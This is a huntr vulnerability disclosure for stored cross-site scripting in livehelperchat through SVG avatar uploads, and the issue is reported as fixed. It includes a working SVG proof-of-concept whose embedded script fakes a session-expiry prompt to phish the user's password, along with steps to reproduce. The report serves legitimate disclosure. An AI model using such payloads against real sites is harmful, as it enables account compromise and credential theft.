huntr

Cross-site Scripting (XSS) - Stored in livehelperchat/livehelperchat

0

✓ Valid Reported on Dec 2nd 2021

Description

Stored XSS via upload **Photo** avatar with format `.svg` in **Account data**.

Detail

When opening the attachment, some format files will be rendered and loaded on the browser. So it allows executing arbitrary javascript code that was injected into attachment before.

Proof of Concept

`PoC.svg`

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;s
   <script>
      var xss = prompt("Hi user!\nYour session is expired, please enter pas
      if (xss != null) {
        alert("Your password is: " + xss);
      }
   </script>
</svg>
```

Steps to Reproduce

1.After login, click the name on the top right corner -> go to **Account**
2.In **Account data** tab, scroll down to the bottom
3.In the **Photo** section, click **Choose file** and choose the `PoC.svg` then click **Update**
4.After uploading successfully, copy the link to that image and open it in a new tab.
The XSS will trigger when the attachment is opened in a new tab.

Impact

This vulnerability has the potential to deface websites, result in compromised user accounts, and can run malicious code on web pages, which can lead to a compromise of the user's device.

Occurrences

lhuservalidator.php L411-L459

References

- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVE
CVE-2021-4050
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Stored

Severity
Medium (6.1)

Visibility
Public

Status
Fixed

Found by

Chat with us

KhanhCM

@khanhchauminh

pro

This report was seen 379 times.

We are processing your report and will contact the **livehelperchat** team within 24 hours.
a year ago

We have contacted a member of the **livehelperchat** team and are waiting to hear back
a year ago

Remigijus Kiminas validated this vulnerability a year ago

KhanhCM has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Remigijus a year ago

Have in mind once this will be fixed. It will be fixed across the whole app. No point to report of other parts you can upload that type of SVG :)

KhanhCM a year ago Researcher

Thanks for your clarity! :)

Remigijus Kiminas marked this as fixed in **2.0** with commit **0ce1dd** a year ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

lhuservalidator.php#L411-L459 has been validated ✓

Sign in to join this conversation